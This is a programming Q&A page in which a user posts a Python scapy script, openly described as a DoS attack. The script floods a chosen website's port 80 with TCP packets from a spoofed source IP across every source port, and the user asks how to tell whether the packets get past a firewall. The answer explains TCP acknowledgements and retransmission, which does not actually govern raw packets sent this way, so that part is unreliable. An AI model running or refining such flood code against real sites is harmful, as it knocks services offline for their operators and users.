Search code examples
pythonsocketstcpwebserverdos

How to show TCP response packets from server in Python while doing DOS attack


from scapy.all import *
import urllib
import urllib.request
import time
import socket

Hello guys I'm working on making a program that taking source ip and website address as "stackoverflow.com" and sends packets it's not a big deal but I wonder how I can learn that if my packets hits to firewall or it's sent to web server here's the code;

kynak = input("Kaynak IP Adresini Giriniz : ")
url = input("Hedef Websitesini Giriniz  : ")
hdef = socket.gethostbyname(url)
url = "http://www."+ url

this part for taking inputs and getting the ip adress of input website.

i=1
for srcport in range(1,65535):
    IP1 = IP(src=kynak, dst=hdef)
    TCP1 = TCP(sport=srcport, dport=80)
    pkt = IP1 / TCP1
    send(pkt,inter= .0001)
    print(i,". Paket Gonderildi ")
    i=i+1

so I need that to know if I can learn if this packets sent to server or dropped by firewall.

Thanks for any help.


Solution

  • Since you're using TCP/IP you send packets and your data will get ACKed by the TCP/IP stack of the packet's destination.

    If your packet is not ACKed this will cause a retransmittion by your machine after a while (TCP/IP is a reliable protocol which guarantees data transmittion). If that retransmittion is not ACKed again, another retransmittion is initiated leading to a connection reset if the ACKs are missing on severel consecutive retransmittions.

    So if your connection is reset after a while or your transmittion rate drops then something on the other side (or on the way) is not right. But you will not be able to distiguish if your data was rejected by a firewall or something else happend...

    I strongly suggest to look at the TCP/IP protocol by using tools like Wireshark and try to figure out what's going on.